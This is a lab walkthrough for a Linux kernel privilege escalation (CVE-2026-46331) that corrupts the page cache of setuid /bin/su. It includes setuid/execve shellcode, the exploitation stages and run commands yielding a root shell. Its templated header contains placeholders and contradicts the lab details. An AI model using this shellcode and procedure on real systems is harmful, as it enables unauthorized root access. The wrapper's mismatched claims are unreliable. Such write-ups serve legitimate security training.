Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)
Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331)
Platform: Hackviser | Category: Pentest | Type: Machine | Difficulty: Medium | OS: Linux | Author: D3v0o0Nu11 | Date: 2026-07-09 | Status: Solved Techniques: cve_2026_46331_pedit_cow_page_cache_corruption, page_cache_poisoning_via_sendfile, setuid_binary_elf_entry_overwrite, shellcode_injection_setuid_execve, unprivileged_user_namespace_cap_net_admin
Summary
Task: Linux kernel LPE via CVE-2026-46331 — act_pedit partial copy-on-write bug in net/sched allows page cache corruption. Solution: exploit pedit COW to overwrite /bin/su ELF entry point in page cache with setuid shellcode, then exec su for root shell.
Walkthrough of the HackTheBox machine Pedit COW – Linux Kernel Local Privilege Escalation (CVE-2026-46331) (Linux). Foothold via cve_2026_46331_pedit_cow_page_cache_corruption; privilege escalation to root. Both flags captured and redacted.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackviser| ID:20260709_hackviser_pedit_cow_cve_2026_46331 - Tags: act_pedit, copy_on_write, cve_2026_46331, debian, elf_corruption, kernel, linux, netlink, page_cache, privilege_escalation, sendfile, setuid, shellcode, tc_pedit, user_namespace
- Indicators: act_pedit kernel module loaded (lsmod | grep act_pedit), kernel version in range v5.18 to v7.1-rc6, unprivileged_userns_clone = 1 (user namespaces enabled), setuid-root binary available (/bin/su with -rwsr-xr-x), net/sched traffic control subsystem present
- Source:
20260709_hackviser_pedit_cow_cve_2026_46331.md
Foothold
Vulnerability / Misconfiguration
- cve_2026_46331_pedit_cow_page_cache_corruption
- page_cache_poisoning_via_sendfile
- setuid_binary_elf_entry_overwrite
- shellcode_injection_setuid_execve
- unprivileged_user_namespace_cap_net_admin
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| user | /home/<user>/user.txt | REDACTED |
| root | /root/root.txt | REDACTED |
Key Takeaways / Lessons
- cve_2026_46331_pedit_cow_page_cache_corruption
- page_cache_poisoning_via_sendfile
- setuid_binary_elf_entry_overwrite
- shellcode_injection_setuid_execve
- unprivileged_user_namespace_cap_net_admin
- Tags: act_pedit, copy_on_write, cve_2026_46331, debian, elf_corruption, kernel, linux, netlink, page_cache, privilege_escalation, sendfile, setuid, shellcode, tc_pedit, user_namespace
Original Writeup
<details><summary>Click to expand original content</summary>Description
This laboratory demonstrates pedit COW (CVE-2026-46331), a Linux kernel local privilege escalation vulnerability in the traffic-control subsystem. The flaw exists in the act_pedit packet-editing action, where the kernel may calculate the copy-on-write writable range incorrectly before all runtime packet offsets are fully known. Under the right local conditions, this can allow writes into shared page cache memory.
Using the low-privilege credentials (guest/guest), connect to the machine over SSH and escalate to root. Read /root/secret.txt.
Target: 172.20.45.103
English summary: Given SSH access as an unprivileged user (guest/guest) to a Debian 11 box running a vulnerable kernel (6.1.174). The goal is to exploit CVE-2026-46331 in the kernel's act_pedit traffic control module to escalate privileges to root and read /root/secret.txt.
Analysis
Target Reconnaissance
- OS: Debian 11 (bullseye)
- Kernel: 6.1.0-0.deb11.49-amd64 (6.1.174) — within the vulnerable range v5.18 .. v7.1-rc6
- Loaded modules:
act_pedit,cls_matchall,cls_basic,sch_ingress— the entire tc (traffic control) stack is present - User namespaces:
unprivileged_userns_clone = 1— unprivileged users can create user namespaces - Setuid binary:
/bin/suis setuid-root (-rwsr-xr-x 1 root root 71912) - Build tools: GCC and make available on target
- Network: No internet access from the box (file transfer must be done via SSH)
Vulnerability: CVE-2026-46331
The vulnerability resides in net/sched/act_pedit.c — the packet-editing tc action. When a pedit action has multiple keys with different header types (e.g., NETWORK + TCP), the kernel calculates the copy-on-write (COW) writable range based on the first key's offset before all runtime packet offsets are resolved.
The critical sequence:
- A pedit filter with a
NETWORKkey that inflates the IP header length (IHL=15) is installed - A subsequent
TCPkey targets an offset that falls past the stale COW range boundary - When
sendfile()places a file's page cache page into an egress skb, the pedit action writes past the COW boundary — directly into the shared page cache page - This corrupts the cached copy of the file without modifying the on-disk data
Exploitation Strategy
The public PoC packet_edit_meme weaponizes this into unprivileged local root via four stages:
- Namespace isolation: A child process calls
unshare(CLONE_NEWUSER | CLONE_NEWNET)to obtainCAP_NET_ADMINin a new user+net namespace (requiresunprivileged_userns_clone = 1) - Calibration: The child sets up loopback networking and calibrates the file-offset-to-pedit-key-offset delta to achieve precise page cache writes
- Page cache corruption: The child opens
/bin/suwithO_RDONLYand usessendfile()over a loopback TCP connection with an armed egress pedit filter. This overwrites the ELF entry point in the page cache with shellcode:setgid(0); setuid(0); execve("/bin/sh") - Privilege escalation: The parent process (still in the init user namespace) then calls
execve("/bin/su"). The kernel loads the corrupted cached page, the setuid bit grants euid 0, and the shellcode runs as real root
Shellcode (48 bytes)
nasm read-only • copy allowedxor edi, edi ; arg0 = 0 mov eax, 106 ; __NR_setgid syscall mov eax, 105 ; __NR_setuid syscall movabs rbx, "/bin/sh" ; push path push rbx mov rdi, rsp ; argv[0] = "/bin/sh" push rdx ; NULL terminator push rdi ; argv[0] mov rsi, rsp ; argv = {"/bin/sh", NULL} mov eax, 59 ; __NR_execve syscall
Solution
Step 1: Connect and Enumerate
bash read-only • copy allowedssh guest@172.20.45.103 # password: guest # Verify kernel version uname -r # 6.1.0-0.deb11.49-amd64 # Check act_pedit module lsmod | grep act_pedit # act_pedit loaded # Check user namespace support cat /proc/sys/kernel/unprivileged_userns_clone # 1 # Check setuid binary ls -la /bin/su # -rwsr-xr-x 1 root root 71912 /bin/su
Step 2: Transfer Exploit Source
Since the target has no internet access, the PoC source files were transferred via base64 encoding over SSH:
bash read-only • copy allowed# On attacker machine — for each source file: base64 packet_edit_meme.c | ssh guest@172.20.45.103 'base64 -d > packet_edit_meme.c' base64 pedit_primitive.c | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.c' base64 pedit_primitive.h | ssh guest@172.20.45.103 'base64 -d > pedit_primitive.h' base64 Makefile | ssh guest@172.20.45.103 'base64 -d > Makefile'
Step 3: Compile on Target
bash read-only • copy allowedmake CC=gcc # Produces static x86_64 ELF binaries: packet_edit_meme, test_cve
Step 4: Run the Exploit
bash read-only • copy allowed./packet_edit_meme # [*] target /bin/su as uid 1000; entry at file offset 0x...; shellcode 48 bytes # [+] su entry overwritten; exec'ing su -> interactive root shell
Step 5: Read the Secret
bash read-only • copy allowedid # uid=0(root) gid=0(root) groups=0(root) cat /root/secret.txt # REDACTED
Key Source Files
| File | Purpose |
|---|---|
packet_edit_meme.c | Main exploit: finds setuid /bin/su, forks child for namespace+corruption, parent exec's su |
pedit_primitive.c | Page-cache write primitive via tc-pedit (calibration, netlink rtnetlink API, sendfile burst) |
pedit_primitive.h | API: setup() and api_fd_write(fd, offset, src, size) for arbitrary page-cache overwrite |
test_cve.c | Standalone test to verify if the kernel is vulnerable |
signed by XESXOR